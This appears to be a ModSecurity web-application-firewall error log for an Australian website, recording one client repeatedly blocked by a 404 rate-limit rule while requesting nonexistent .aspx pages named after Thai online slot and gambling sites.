[Tue Jan 27 20:11:49.671686 2026] [:error] [pid 39016:tid 39038] [client 217.182.195.225:59378] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/miami%201688%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXirhfB6_y9crthwy8qpEwAAAtE"]
[Tue Jan 27 20:11:52.190382 2026] [:error] [pid 7561:tid 7576] [client 217.182.195.225:59386] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/miami%20club%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXiriLXGI6mgvHQqkXzYSQAAAMw"]
[Tue Jan 27 20:11:54.600651 2026] [:error] [pid 48446:tid 48489] [client 217.182.195.225:59396] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myslot.aspx"] [unique_id "aXirisDRSaZ8F8aaLxmZ4wAAAcw"]
[Tue Jan 27 20:11:57.156782 2026] [:error] [pid 48446:tid 48494] [client 217.182.195.225:60760] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nagaway%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXirjcDRSaZ8F8aaLxmZ7QAAAdA"]
[Tue Jan 27 20:11:59.547988 2026] [:error] [pid 7561:tid 7585] [client 217.182.195.225:60768] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/noname%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXirj7XGI6mgvHQqkXzYTQAAANU"]
[Tue Jan 27 20:12:02.009980 2026] [:error] [pid 48412:tid 48420] [client 217.182.195.225:60774] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/noname%20auto%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXirknbJMfAKlln88JH7oAAAAUY"]
[Tue Jan 27 20:12:04.398778 2026] [:error] [pid 48528:tid 48549] [client 217.182.195.225:60788] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXirlAOGRrquT9N7CZpzJwAAAhM"]
[Tue Jan 27 20:12:06.939785 2026] [:error] [pid 48412:tid 48418] [client 217.182.195.225:35714] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXirlnbJMfAKlln88JH7pwAAAUQ"]
[Tue Jan 27 20:12:09.316208 2026] [:error] [pid 48412:tid 48414] [client 217.182.195.225:35718] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aXirmXbJMfAKlln88JH7sgAAAUA"]
[Tue Jan 27 20:12:11.707677 2026] [:error] [pid 7561:tid 7588] [client 217.182.195.225:35726] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aXirm7XGI6mgvHQqkXzYVwAAANg"]
[Tue Jan 27 20:12:14.277058 2026] [:error] [pid 48662:tid 48686] [client 217.182.195.225:35728] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aXirnuD8iESUP9uRiRPwfgAAApI"]
[Tue Jan 27 20:12:16.642488 2026] [:error] [pid 39017:tid 39066] [client 217.182.195.225:35738] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aXiroM553xt-F_10bG6hUwAAAxI"]
[Tue Jan 27 20:12:19.195975 2026] [:error] [pid 48662:tid 48681] [client 217.182.195.225:47164] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aXiro-D8iESUP9uRiRPwhgAAAo0"]
[Tue Jan 27 20:12:21.598441 2026] [:error] [pid 39017:tid 39059] [client 217.182.195.225:47168] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aXirpc553xt-F_10bG6hWQAAAws"]
[Tue Jan 27 20:12:24.117717 2026] [:error] [pid 39017:tid 39060] [client 217.182.195.225:47182] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aXirqM553xt-F_10bG6hWwAAAww"]
[Tue Jan 27 20:12:26.662917 2026] [:error] [pid 7454:tid 7533] [client 217.182.195.225:47198] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXirqpltCoZEfMmfl8Ab7QAAAJE"]
[Tue Jan 27 20:12:29.183974 2026] [:error] [pid 48528:tid 48543] [client 217.182.195.225:44450] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXirrQOGRrquT9N7CZpzPgAAAg0"]
[Tue Jan 27 20:13:11.451538 2026] [:error] [pid 7561:tid 7575] [client 217.182.195.225:44456] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgneko.aspx"] [unique_id "aXir17XGI6mgvHQqkXzYjAAAAMs"]
[Tue Jan 27 20:13:13.996719 2026] [:error] [pid 48446:tid 48484] [client 217.182.195.225:58644] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aXir2cDRSaZ8F8aaLxmaGwAAAcc"]
[Tue Jan 27 20:13:16.506061 2026] [:error] [pid 39016:tid 39023] [client 217.182.195.225:58652] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot99.aspx"] [unique_id "aXir3PB6_y9crthwy8qpTwAAAsI"]
[Tue Jan 27 20:13:19.006694 2026] [:error] [pid 39017:tid 39063] [client 217.182.195.225:52616] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslotauto.aspx"] [unique_id "aXir38553xt-F_10bG6hjAAAAw8"]
[Tue Jan 27 20:13:21.522335 2026] [:error] [pid 7561:tid 7576] [client 217.182.195.225:52626] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslotgame.aspx"] [unique_id "aXir4bXGI6mgvHQqkXzYjwAAAMw"]
[Tue Jan 27 20:13:24.028857 2026] [:error] [pid 48412:tid 48419] [client 217.182.195.225:52632] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aXir5HbJMfAKlln88JH8OAAAAUU"]
[Tue Jan 27 20:13:26.668763 2026] [:error] [pid 39017:tid 39055] [client 217.182.195.225:52646] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pxj%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXir5s553xt-F_10bG6hkwAAAwc"]
[Tue Jan 27 20:13:29.192029 2026] [:error] [pid 39017:tid 39071] [client 217.182.195.225:51762] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pxj.com%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXir6c553xt-F_10bG6hlQAAAxc"]
[Tue Jan 27 20:13:31.844015 2026] [:error] [pid 39017:tid 39057] [client 217.182.195.225:51768] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pxj.com%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXir68553xt-F_10bG6hlgAAAwk"]
[Tue Jan 27 20:13:34.494981 2026] [:error] [pid 48446:tid 48499] [client 217.182.195.225:51784] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aXir7sDRSaZ8F8aaLxmaNAAAAdU"]
[Tue Jan 27 20:13:37.002847 2026] [:error] [pid 7561:tid 7572] [client 217.182.195.225:48900] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aXir8bXGI6mgvHQqkXzYlgAAAMg"]
[Tue Jan 27 20:13:39.517665 2026] [:error] [pid 48446:tid 48501] [client 217.182.195.225:48902] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aXir88DRSaZ8F8aaLxmaOgAAAdc"]
[Tue Jan 27 20:13:42.016182 2026] [:error] [pid 48412:tid 48432] [client 217.182.195.225:48906] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ruay.%20org%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXir9nbJMfAKlln88JH8WAAAAVI"]
[Tue Jan 27 20:13:44.537860 2026] [:error] [pid 48446:tid 48478] [client 217.182.195.225:48912] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXir-MDRSaZ8F8aaLxmaPgAAAcE"]
[Tue Jan 27 20:13:47.026725 2026] [:error] [pid 38987:tid 39006] [client 217.182.195.225:41134] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXir-6TH0bU76Ifu_XcrOgAAABA"]
[Tue Jan 27 20:13:49.422238 2026] [:error] [pid 48528:tid 48549] [client 217.182.195.225:41138] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD777.aspx"] [unique_id "aXir_QOGRrquT9N7CZpzdAAAAhM"]
[Tue Jan 27 20:13:51.954369 2026] [:error] [pid 48446:tid 48484] [client 217.182.195.225:41150] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aXir_8DRSaZ8F8aaLxmaQwAAAcc"]
[Tue Jan 27 20:13:54.537269 2026] [:error] [pid 7561:tid 7574] [client 217.182.195.225:41160] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet.aspx"] [unique_id "aXisArXGI6mgvHQqkXzYnwAAAMo"]
[Tue Jan 27 20:13:57.538329 2026] [:error] [pid 38987:tid 39008] [client 217.182.195.225:41608] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sll%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXisBaTH0bU76Ifu_XcrQgAAABI"]
[Tue Jan 27 20:14:00.148808 2026] [:error] [pid 39017:tid 39058] [client 217.182.195.225:41616] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXisCM553xt-F_10bG6hqgAAAwo"]
[Tue Jan 27 20:14:02.916850 2026] [:error] [pid 7561:tid 7578] [client 217.182.195.225:41628] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aXisCrXGI6mgvHQqkXzYqQAAAM4"]
[Tue Jan 27 20:14:05.623738 2026] [:error] [pid 39016:tid 39041] [client 217.182.195.225:41636] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aXisDfB6_y9crthwy8qpawAAAtQ"]
[Tue Jan 27 20:14:49.309866 2026] [:error] [pid 48528:tid 48539] [client 217.182.195.225:38942] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot99.aspx"] [unique_id "aXisOQOGRrquT9N7CZpzpgAAAgk"]
[Tue Jan 27 20:14:51.896007 2026] [:error] [pid 48412:tid 48418] [client 217.182.195.225:49390] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aXisO3bJMfAKlln88JH8uAAAAUQ"]
[Tue Jan 27 20:14:54.361057 2026] [:error] [pid 39016:tid 39044] [client 217.182.195.225:49394] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslotclub.aspx"] [unique_id "aXisPvB6_y9crthwy8qpkgAAAtc"]
[Tue Jan 27 20:14:56.833284 2026] [:error] [pid 39016:tid 39034] [client 217.182.195.225:38928] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslotv9.aspx"] [unique_id "aXisQPB6_y9crthwy8qpkwAAAs0"]
[Tue Jan 27 20:14:59.286090 2026] [:error] [pid 39017:tid 39062] [client 217.182.195.225:38938] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tgaslot.aspx"] [unique_id "aXisQ8553xt-F_10bG6h3wAAAw4"]
[Tue Jan 27 20:15:01.711478 2026] [:error] [pid 48528:tid 48544] [client 217.182.195.225:38940] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thaislot.aspx"] [unique_id "aXisRQOGRrquT9N7CZpztQAAAg4"]
[Tue Jan 27 20:15:04.260545 2026] [:error] [pid 38987:tid 38991] [client 217.182.195.225:38956] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/u31%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXisSKTH0bU76Ifu_XcrkgAAAAE"]
[Tue Jan 27 20:15:06.950384 2026] [:error] [pid 39017:tid 39065] [client 217.182.195.225:59764] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aXisSs553xt-F_10bG6h4gAAAxE"]
[Tue Jan 27 20:15:09.356814 2026] [:error] [pid 39016:tid 39037] [client 217.182.195.225:59768] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa10.aspx"] [unique_id "aXisTfB6_y9crthwy8qplAAAAtA"]
[Tue Jan 27 20:15:11.900413 2026] [:error] [pid 48528:tid 48530] [client 217.182.195.225:59778] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa168%20auto%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXisTwOGRrquT9N7CZpzugAAAgA"]
[Tue Jan 27 20:15:14.447820 2026] [:error] [pid 39016:tid 39026] [client 217.182.195.225:59790] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa168.aspx"] [unique_id "aXisUvB6_y9crthwy8qplwAAAsU"]
[Tue Jan 27 20:15:16.959480 2026] [:error] [pid 7453:tid 7491] [client 217.182.195.225:60932] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa168bet.aspx"] [unique_id "aXisVBfsyA2ws_ADquid8wAAAEI"]
